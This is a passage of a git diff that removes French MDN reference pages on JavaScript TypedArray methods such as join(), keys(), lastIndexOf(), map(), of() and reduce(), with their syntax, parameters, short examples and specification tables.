{{SpecName('ES2015', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.indexOf")}}

- -

Notes de compatibilité

- -
    -
  • À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus -0. Ainsi, new Uint8Array([0]).indexOf(0, -0) renverra toujours +0 (cf. {{bug(1242043)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.lastIndexOf()")}}
    • -
  • {{jsxref("Array.prototype.indexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html deleted file mode 100644 index 59ad42335e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: TypedArray.prototype.join() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/join -tags: - - ECMAScript6 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/join ---- -
{{JSRef}}
- -

La méthode join() fusionne l'ensemble des éléments d'un tableau en une chaîne de caractères. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.join()")}}. Dans le reste de cet article TypedArray fait référence à l'un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-join.html")}}
- - - -

Syntaxe

- -
typedarray.join([séparateur = ',']);
- -

Paramètres

- -
-
séparateur
-
Paramètre optionnel qui définit la chaîne de caractères à utiliser pour séparer chaque élément. Si nécessaire, le séparateur sera converti en une chaîne de caractère. La valeur par défaut du paramètre est une virgule (",").
-
- -

Valeur de retour

- -

Une chaîne de caractères formée par la concaténation des différents éléments du tableau typé.

- -

Exemples

- -
var uint8 = new Uint8Array([1,2,3]);
-uint8.join();      // '1,2,3'
-uint8.join(' / '); // '1 / 2 / 3'
-uint8.join('');    // '123'
-
- -

Prothèse d'émulation (polyfill)

- -

Il n'existe pas d'objet global TypedArray, il faut donc ajouter une prothèse correspondant à chaque type de tableau typé.

- -
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join
-if (!Uint8Array.prototype.join) {
-  Object.defineProperty(Uint8Array.prototype, 'join', {
-    value: Array.prototype.join
-  });
-}
-
- -

Mieux vaut ne pas ajouter de prothèses pour TypedArray.prototype si le moteur JavaScript ne prend pas en charge {{jsxref("Object.defineProperty()")}} car on ne peut pas les rendre non-énumérables.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.join")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray")}}
    • -
  • {{jsxref("Array.prototype.join()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html deleted file mode 100644 index d9937137ba..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: TypedArray.prototype.keys() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/keys -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/keys ---- -
{{JSRef}}
- -

La méthode keys() renvoie un nouvel objet Array Iterator contenant les clés pour chaque indice du tableau typé.

- -
{{EmbedInteractiveExample("pages/js/typedarray-keys.html")}}
- - - -

Syntaxe

- -
arr.keys()
- -

Valeur de retour

- -

Un nouvel objet Array Iterator.

- -

Exemples

- -

Parcourir un tableau avec for...of

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArray = arr.keys();
-// prérequis : le navigateur doit supporter les
-// boucles for..of et les variables dont la portée
-// est définie par let
-for (let n of eArray) {
-  console.log(n);
-}
-
- -

Une autre méthode d'itération

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArr = arr.keys();
-console.log(eArr.next().value); // 0
-console.log(eArr.next().value); // 1
-console.log(eArr.next().value); // 2
-console.log(eArr.next().value); // 3
-console.log(eArr.next().value); // 4
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.keys")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html deleted file mode 100644 index 4e219c8c1a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: TypedArray.prototype.lastIndexOf() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/lastIndexOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/lastIndexOf ---- -
{{JSRef}}
- -

La méthode lastIndexOf() renvoie le dernier indice (le plus grand) pour lequel un élément donné est trouvé. Si l'élément cherché n'est pas trouvé, la valeur de retour sera -1. Le tableau typé est parcouru dans l'ordre des indices décroissants (de la fin vers le début) à partir de indexDépart. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.lastIndexOf()")}}. Dans le reste de l'article, TypedArray correspond à l'un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-lastindexof.html")}}
- - - -

Syntaxe

- -
typedarray.lastIndexOf(élémentRecherché[, indiceDépart = typedarray.length])
- -

Paramètres

- -
-
élémentRecherché
-
L'élément qu'on souhaite situer dans le tableau.
-
indiceDépart
-
Paramètre optionnel qui représente l'indice à partir duquel parcourir le tableau dans le sens inverse. La valeur par défaut correspond à la longueur du tableau (c'est-à-dire que tout le tableau sera parcouru). Si l'indice est supérieur ou égal à la longueur du tableau typé, tout le tableau typé sera parcouru. Si la valeur est négative, le parcours commencera à length+indiceDépart (le sens de parcours ne change pas). Si l'indice calculé est négatif, la valeur de retour sera -1 et le tableau ne sera pas parcouru.
-
- -

Valeur de retour

- -

Le dernier indice du tableau typé pour lequel l'élément a été trouvé ou -1 s'il n'a pas été trouvé.

- -

Description

- -

lastIndexOf compare élémentRecherché avec les éléments du tableau typé en utilisant l'égalité stricte (celle utilisée par l'opérateur ===).

- -

Exemples

- -
var uint8 = new Uint8Array([2, 5, 9, 2]);
-uint8.lastIndexOf(2);     // 3
-uint8.lastIndexOf(7);     // -1
-uint8.lastIndexOf(2, 3);  // 3
-uint8.lastIndexOf(2, 2);  // 0
-uint8.lastIndexOf(2, -2); // 0
-uint8.lastIndexOf(2, -1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.lastIndexOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • -
  • {{jsxref("Array.prototype.lastIndexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html deleted file mode 100644 index 7d84b3b8ec..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: TypedArray.prototype.length -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/length -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/length ---- -
{{JSRef}}
- -

La propriété length est un accesseur qui permet de représenter la longueur, en nombre d'éléments, d'un tableau typé.

- -
{{EmbedInteractiveExample("pages/js/typedarray-length.html")}}
- - - -

Syntaxe

- -
typedarray.length
- -

Description

- -

La propriété length est un accesseur dont le mutateur correspondant vaut undefined, ce qui signifie qu'elle n'est accessible qu'en lecture. La valeur de la propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. Si le TypedArray n'utilise pas de byteOffset ou de length, le résultat correspondra à la longueur du {{jsxref("ArrayBuffer")}} correspondant. TypedArray est l'un des objets TypedArray.

- -

Exemples

- -
var tampon = new ArrayBuffer(8);
-
-var uint8 = new Uint8Array(tampon);
-uint8.length; // 8 (correspond à la longueur du tampon/buffer)
-
-var uint8 = new Uint8Array(tampon, 1, 5);
-uint8.length; // 5 (correspond à la longueur définie lors de la construction)
-
-var uint8 = new Uint8Array(tampon, 2);
-uint8.length; // 6 (correspond à la longueur en prenant en compte le décalage utilisé)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.length")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html deleted file mode 100644 index 938b46fe43..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: TypedArray.prototype.map() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/map -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/map ---- -
{{JSRef}}
- -

La méthode map() crée un nouveau tableau typé dont les éléments sont les images des éléments du tableau typé courant par une fonction donnée. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.map()")}}. TypedArray est utilisé ici de façon générique pour représenter l'un des types de tableaux typés possibles.

- -
{{EmbedInteractiveExample("pages/js/typedarray-map.html")}}
- - - -

Syntaxe

- -
typedarray.map(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction qui renvoie l'élément à placer dans le nouveau tableau typé. Cette fonction utilise trois arguments : -
-
valeurCourante
-
La valeur de l'élément du tableau typé courant, celui traité par la fonction.
-
indice
-
L'indice de l'élément du tableau typé en cours de traitement.
-
tableauTypé
-
Le tableau typé sur lequel map() a été appelée.
-
-
-
thisArg
-
Paramètre optionnel. La valeur à utiliser pour this lors de l'appel à callback.
-
- -

Valeur de retour

- -

Un nouveau tableau typé.

- -

Description

- -

La méthode map() appelle la fonction callback() passée en argument une fois pour chaque élément du tableau typé pour construire un nouveau tableau à partir des résultats de la fonction. Les appels à callback sont effectués dans l'ordre du tableau typé. callback() n'est appelée que pour les éléments du tableaux qui ont une valeur, elle n'est pas appelée pour les éléments qui sont indéfinis ou qui ont été supprimés.

- -

callback() est appelée avec trois arguments : la valeur de l'élément, l'indice de cet élément et enfin le tableau typé courant.

- -

Si un paramètre thisArg est fourni pour map(), il sera passé à callback pour les différents appels et servira de valeur this. Par défaut, la valeur {{jsxref("undefined")}} sera passée à la fonction pour la valeur this. Par ailleurs, la valeur de this accessible depuis la fonction callback est déterminée selon les règles usuelles déterminant la valeur this au sein d'une fonction.

- -

map() ne modifie pas le tableau typé sur lequel elle a été appelée (indirectement, c'est la fonction callback qui pourra éventuellement modifier le tableau).

- -

La liste des éléments parcourus par map() est définie avant la première invocation de la fonction callback. Les éléments qui sont ajoutés au tableau typé après le début de l'appel de map() (grâce à la fonction callback par exemple) ne seront pas visités. Si des éléments existants du tableau typé ont modifiés ou supprimés, la valeur fournie à la fonction callback sera leur valeur au moment où map() les visite - les éléments supprimés ne seront pas traités par la fonction.

- -

Exemples

- -

Obtenir un tableau typé des racines carrées des éléments d'un premier tableau typé

- -

Dans l'exemple suivant, on crée un nouveau tableau typé dont les éléments seront les racines carrées respectives des éléments d'un tableau typé existant.

- -
var nombres = new Uint8Array([1, 4, 9]);
-var racines = nombres.map(Math.sqrt);
-// racines vaut désormais Uint8Array [1, 2, 3],
-// nombres vaut toujours Uint8Array [1, 4, 9]
-
- -

Utiliser map() avec une fonction qui prend un argument

- -

Ici, on illustre comment une fonction utilisant un argument peut être utilisée avec map(). Cet argument recevra automatiquement la valeur de chaque élément du tableau typé au fur et à mesure du parcours.

- -
var nombres = new Uint8Array([1, 4, 9]);
-var doubles = nombres.map(function(num) {
-  return num * 2;
-});
-// doubles vaut désormais Uint8Array [2, 8, 18]
-// nombres vaut toujours Uint8Array [1, 4, 9]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.map', 'TypedArray.prototype.map')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.map', 'TypedArray.prototype.map')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.map")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.filter()")}}
    • -
  • {{jsxref("Array.prototype.map()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html deleted file mode 100644 index c94611406e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: TypedArray.name -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/name -tags: - - JavaScript - - Propriété - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/name ---- -
{{JSRef}}
- -

La propriété TypedArray.name est une chaîne de caractères représentant le nom du constructeur du tableau typé.

- -
{{EmbedInteractiveExample("pages/js/typedarray-name.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Syntaxe

- -
TypedArray.name;
- -

Description

- -

Les objets TypedArray varient en fonction du nombre d'octets correspondant pour chaque élément du tableau et de la façon dont les octets sont interprétés. La propriété name permet de décrire le type de données du tableau. La première partie du nom peut être Int pour les tableaux d'entiers (Integer) ou Uint pour les tableaux d'entiers non signés (Unsigned Integer) ou Float pour les nombres décimaux (floating). La deuxième partie correspond au nombre de bits de chaque élément. Enfin, la troisième composante du nom est Array, ClampedArray étant un cas spécifique. Voir la page {{jsxref("Uint8ClampedArray")}} pour plus d'informations sur ce tableau typé.

- -

Exemples

- -
Int8Array.name;         // "Int8Array"
-Uint8Array.name;        // "Uint8Array"
-Uint8ClampedArray.name; // "Uint8ClampedArray"
-Int16Array.name;        // "Int16Array"
-Uint16Array.name;       // "Uint16Array"
-Int32Array.name;        // "Int32Array"
-Uint32Array.name;       // "Uint32Array"
-Float32Array.name;      // "Float32Array"
-Float64Array.name;      // "Float64Array"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.name")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html deleted file mode 100644 index 18bea06502..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: TypedArray.of() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/of -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/of ---- -
{{JSRef}}
- -

La méthode TypedArray.of() crée un nouvel objet {{jsxref("TypedArray", "TypedArray", "#Les_objets_TypedArray")}} à partir d'un nombre variable d'arguments. Cette méthode est similaire à {{jsxref("Array.of()")}}.

- -

Syntaxe

- -
TypedArray.of(élément0[, élément1[, ...[, élémentN]]])
-
-où TypedArray est l'un de :
-
-Int8Array
-Uint8Array
-Uint8ClampedArray
-Int16Array
-Uint16Array
-Int32Array
-Uint32Array
-Float32Array
-Float64Array
-BigInt64Array
-BigUint64Array
- -

Paramètres

- -
-
élémentN
-
Les éléments avec lesquels on souhaite construire le nouveau tableau typé.
-
- -

Valeur de retour

- -

Une nouvelle instance de {{jsxref("TypedArray")}}.

- -

Description

- -

Il existe de légères différences entre {{jsxref("Array.of()")}} et TypedArray.of() :

- -
    -
  • Si la valeur de this passée à TypedArray.of n'est pas un constructeur, TypedArray.of lèvera une exception {{jsxref("TypeError")}}, tandis que Array.of créera un nouvel objet {{jsxref("Array")}}.
    • -
  • TypedArray.of utilise [[Put]] tandis que Array.of utilise [[DefineProperty]]. Ainsi lorsque les arguments sont des objets {{jsxref("Proxy")}} la première méthode appellera {{jsxref("Objets_globaux/Proxy/handler/set", "handler.set")}} pour créer les nouveaux éléments et la seconde appellera {{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty")}}.
    • -
- -

Exemples

- -
Uint8Array.of(1);            // Uint8Array [ 1 ]
-Int8Array.of("1", "2", "3"); // Int8Array [ 1, 2, 3 ]
-Float32Array.of(1, 2, 3);    // Float32Array [ 1, 2, 3 ]
-Int16Array.of(undefined);    // Int16Array [ 0 ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.of', '%TypedArray%.of')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-%typedarray%.of', '%TypedArray%.of')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.of")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.from()")}}
    • -
  • {{jsxref("Array.of()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html deleted file mode 100644 index 85c7f14222..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: TypedArray.prototype -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray -translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype ---- -
{{JSRef}}
- -

La propriété TypedArray.prototype représente le prototype des constructeurs {{jsxref("TypedArray")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de {{jsxref("TypedArray")}} héritent de {{jsxref("TypedArray.prototype")}}. Le prototype du constructeur peut être utilisé pour ajouter des propriétés et/ou des méthodes à toutes les instances de TypedArray (où TypedArray correspond à un des types de tableaux typés).

- -

Pour plus de détails sur le fonctionnement de l'héritage, voir la page sur TypedArray.

- -

Propriétés

- -
-
TypedArray.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé le prototype de l'instance. Elle correspondra à l'une des fonctions par défaut pour le type du tableau typé utilisé.
-
{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'{{jsxref("ArrayBuffer")}} qui est référencé par le tableau typé. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
-
{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur (exprimée en octets) du tableau typé, à partir du début de l'{{jsxref("ArrayBuffer")}}. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
-
{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage utilisé (exprimé en octets) entre le début du tableau typé et le début du {{jsxref("ArrayBuffer")}}. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
-
{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau typé. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.prototype.copyWithin()")}}
-
Copie une suite d'éléments au sein du tableau typé. Voir aussi {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés/valeurs pour chaque indice du tableau. Voir aussi {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.prototype.every()")}}
-
Teste si tous les éléments du tableau typé respectent une condition donnée sous la forme d'une fonction. Voir aussi {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.prototype.fill()")}}
-
Affecte une même valeur statique aux éléments du tableau typé entre un indice de début et un indice de fin. Voir aussi {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.prototype.filter()")}}
-
Crée un nouveau tableau typé dont les éléments proviennent d'un tableau typé qu'on a filtré avec une fonction. Voir aussi {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.prototype.find()")}}
-
Renvoie la valeur trouvée dans le tableau typé si un élément du tableau typé respecte une condition définie par une fonction. Si aucun élément n'est trouvé, {{jsxref("undefined")}} sera renvoyé. Voir aussi {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.prototype.findIndex()")}}
-
Renvoie l'indice de l'élément trouvé si un élément du tableau typé respecte une condition définie par une fonction. Si aucun élément n'est trouvé, -1 sera renvoyé. Voir aussi {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.prototype.forEach()")}}
-
Appelle une fonction pour chaque élément du tableau typé. Voir aussi {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.prototype.includes()")}}
-
Détermine si un élément est contenu dans un tableau typé et renvoie true ou false selon le cas de figure. Voir aussi {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau typé qui a la valeur fournie en argument. Si aucun élément n'est trouvé, la valeur -1 sera renvoyée. Voir aussi {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau typé en une chaîne de caractères. Voir aussi {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés pour chaque élément du tableau. Voir aussi {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus grand) d'un élément du tableau typé qui a la valeur fournie en argument. Si aucun élément n'est trouvé, -1 sera renvoyé. Voir aussi {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.prototype.map()")}}
-
Crée un nouveau tableau typé dont les éléments sont les images des éléments du tableau typé courant par une fonction donnée. Voir aussi  {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.prototype.reduce()")}}
-
Applique une fonction par rapport à un accumulateur pour chaque valeur du tableau (de gauche à droite) afin de réduire le tableau typé à une seule valeur. Voir aussi {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.prototype.reduceRight()")}}
-
Applique une fonction par rapport à un accumulateur pour chaque valeur du tableau (de droite à gauche) afin de réduire le tableau typé à une seule valeur. Voir aussi {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.prototype.reverse()")}}
-
Inverse l'ordre des éléments du tableau typé (le premier devient le dernier, le dernier devient le premier et ainsi de suite). Voir aussi {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.prototype.set()")}}
-
Cette méthode permet d'enregistrer plusieurs valeurs dans le tableau typé à partir d'un tableau donné.
-
{{jsxref("TypedArray.prototype.slice()")}}
-
Extrait un fragment du tableau typé et renvoie ce fragment sous forme d'un tableau typé. Voir aussi {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.prototype.some()")}}
-
Renvoie true si au moins un élément du tableau typé respecte une condition définie par une fonction passée en argument. Voir aussi {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.prototype.sort()")}}
-
Trie les éléments du tableau typé sur place et renvoie le tableau typé. Voir aussi {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.prototype.subarray()")}}
-
Cette méthode renvoie un nouvel objet TypedArray en fonction d'un indice de début et de fin.
-
{{jsxref("TypedArray.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs pour chaque indice du tableau typé. Voir aussi {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau typé et ses éléments. Voir aussi {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.prototype.toString()")}}
-
Renvoie une chaîne de caractères représentant le tableau typé et ses éléments. Voir aussi {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator contenant les valeurs pour chaque indice du tableau typé.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.prototype")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html deleted file mode 100644 index 4c8d852d32..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: TypedArray.prototype.reduce() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reduce -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reduce ---- -
{{JSRef}}
- -

La méthode reduce() applique une fonction sur un accumulateur et chaque valeur du tableau typé (de la gauche vers la droite) afin de réduire le tableau en une seule valeur. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reduce()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-reduce.html")}}
- - - -

Syntaxe

- -
typedarray.reduce(callback[, valeurInitiale])
- -

Paramètres

- -
-
callback
-
La fonction à exécuter sur chaque valeur du tableau typé. Elle utilise quatre arguments : -
-
valeurPrécédente
-
La valeur renvoyée précédemment par l'appel précédent à callback. Dans le cadre du premier élément, ce sera valeurInitiale si ce paramètre est fourni (voir ci-après).
-
valeurCourante
-
L'élément du tableau typé en cours de traitement
-
index
-
L'indice de l'élément du tableau typé en cours de traitement.
-
array
-
Le tableau typé pour lequel reduce a été appelée.
-
-
-
valeurInitiale
-
Paramètre optionnel qui correspond à l'objet à utiliser en tant que premier argument pour le premier appel à callback.
-
- -

Valeur de retour

- -

La valeur obtenue à partir de la réduction du tableau typé.

- -

Description

- -

reduce exécute la fonction callback une fois pour chaque élément présent dans le tableau typé (les éléments vides ou supprimés ne sont pas traités). La fonction callback utilise quatre arguments : la valeur initiale ou la valeur précédemment calculée, la valeur de l'élément courant, l'indice de l'élément courant et le tableau typé qui est parcouru.

- -

Lors du premier appel à la fonction callback, valeurPrécédente et valeurCourante peuvent être un ou deux valeurs différentes. Si valeurInitiale est fournie, valeurPrécédente sera alors égale à valeurInitiale et valeurCourante sera égale à la première valeur du tableau. Si le paramètre valeurInitiale n'est pas utilisé, valeurPrécédente sera égale au premier élément du tableau typé et valeurCourante sera égale au second élément.

- -

